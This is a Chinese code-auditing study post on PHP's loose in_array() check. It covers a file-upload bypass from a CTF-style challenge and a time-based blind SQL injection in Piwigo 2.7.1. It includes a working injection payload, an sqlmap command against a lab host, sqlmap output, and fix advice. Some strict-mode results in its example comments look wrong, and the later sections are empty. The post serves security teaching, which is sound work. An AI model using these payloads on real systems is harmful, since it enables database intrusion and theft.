1. 程式人生 > >程式碼審計學習01-in_array() 函式缺陷

程式碼審計學習01-in_array() 函式缺陷

一、開始程式碼審計之旅 01

從今天起,學習程式碼審計了,這篇文章就叫程式碼審計01吧,題目來自 PHP SECURITY CALENDAR 2017 的第一題,結合 紅日安全 寫的文章,開始吧。

二、先看這道題目

1、題目名稱:Wish List

1539876151333

2、in_array() 函式的作用

1539877083708

in_array() 函式的作用是判斷第一引數是否存在第二個引數中,存在返回 true,不存在返回 false。需要注意的是,如果函式第三個引數為 true,則第一個引數必須還要和第二個引數同類型,函式才能返回 true。不寫第三個引數,在一些情況下函式會發生強制轉換,題目的漏洞就出在這裡。

3、題目漏洞解析

if (in_array($this->file['name'], $this->whitelist)) {
    move_uploaded_file($this->file['tmp_name'], self::UPLOAD_DIRECTORY . $this->file['name']);
}

in_array() 函式並只簡單判斷檔名是否存在白名單中,並沒有將第三個引數設定為 true,攻擊者可以上傳一個 5backdoor.php 的檔案,其檔名為 5backdoor,in_array() 函式將檔名強制轉換為 5 ,符合 ranger(1,24) 的白名單條件,5backdoor.php

可以上傳,於是一個任意檔案上傳漏洞就產生了。

4、in_array() 的擴充套件知識

in_array 的一段程式碼,可以明確看到非嚴格模式與嚴格模式下的區別:

<?php
$array = array(
    'egg' => true,
    'cheese' => false,
    'hair' => 765,
    'goblins' => null,
    'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments
// First three make sense, last four do not
var_dump(in_array(null, $array)); // true
var_dump(in_array(false, $array)); // true
var_dump(in_array(765, $array)); // true
var_dump(in_array(763, $array)); // true
var_dump(in_array('egg', $array)); // true
var_dump(in_array('hhh', $array)); // true
var_dump(in_array(array(), $array)); // true

// Strict checking
var_dump(in_array(null, $array, true)); // true
var_dump(in_array(false, $array, true)); // true
var_dump(in_array(765, $array, true)); // true
var_dump(in_array(763, $array, true)); // false
var_dump(in_array('egg', $array, true)); // false
var_dump(in_array('hhh', $array, true)); // false
var_dump(in_array(array(), $array, true)); // false

?>

三、結合一個案例

選取 piwigo2.7.1 內容管理系統的一個 SQL 注入漏洞來分析

1、漏洞原理分析

漏洞涉及檔案:include/functions_rate.inc.phpinclude/config_default.inc.php,以及根目錄下的picture.php

picture.php 關鍵程式碼:

if (isset($_GET['action']))
{
  switch ($_GET['action'])
/*****************中間省略*********************/  
     case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }
/*****************中間省略*********************/    
}      

include/functions_rate.inc.php 關鍵程式碼

function rate_picture($image_id, $rate)
{
  global $conf, $user;

  if (!isset($rate)
      or !$conf['rate']
      or !in_array($rate, $conf['rate_items']))
  {
    return false;
  }
/*****************中間省略*********************/   
  if ($user_anonymous)
  {
    $query.= ' AND anonymous_id = \''.$anonymous_id.'\'';
  }
  pwg_query($query);
  $query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}    

include/config_default.inc.php 關鍵程式碼

$conf['rate_items'] = array(0,1,2,3,4,5);

通過上述程式碼分析,當引數 action=rate時會呼叫 include/functions_rate.inc.phprate_picture($image_id, $rate) 函式,由於函式中的 in_array($rate, $conf['rate_items'])) 沒有將第三個引數設定因為 true,檢查不嚴格,導致變數 $rate 變數可控,將 $rate 設定為 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那麼 SQL 語句就會變成:

INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) 
VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

基於時間的 SQL 盲注就產生了。

2、漏洞證明

用 SQL 注入工具 sqlmap 證明漏洞,payload 如下:

python2 sqlmap.py -u "http://192.168.203.131/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch

漏洞驗證返回結果:

[20:45:34] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://192.168.203.131:80/piwigo/picture.php?/1/category/1'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: rate (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: rate=1 AND SLEEP(5)
---
[20:45:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[20:45:37] [INFO] fetching database names
[20:45:37] [INFO] fetching number of databases
[20:45:37] [INFO] resumed: 5
[20:45:37] [INFO] resumed: information_schema
[20:45:37] [INFO] resumed: mysq
[20:45:37] [INFO] resumed: mysql
[20:45:37] [INFO] resumed: performance_schema
[20:45:37] [INFO] resumed: piwigo271
available databases [5]:
[*] information_schema
[*] mysq
[*] mysql
[*] performance_schema
[*] piwigo271

3、修復建議

方法1:將 in_array() 函式的第三個引數設定為 true;

方法2:使用 intval() 函式將變數將轉為數字;

方法3:使用正則表示式過濾,只限製為數字(官方修改是用這種方法)。

四、學習一道同類型的 CTF 題目

五、個人收穫

六、參考文章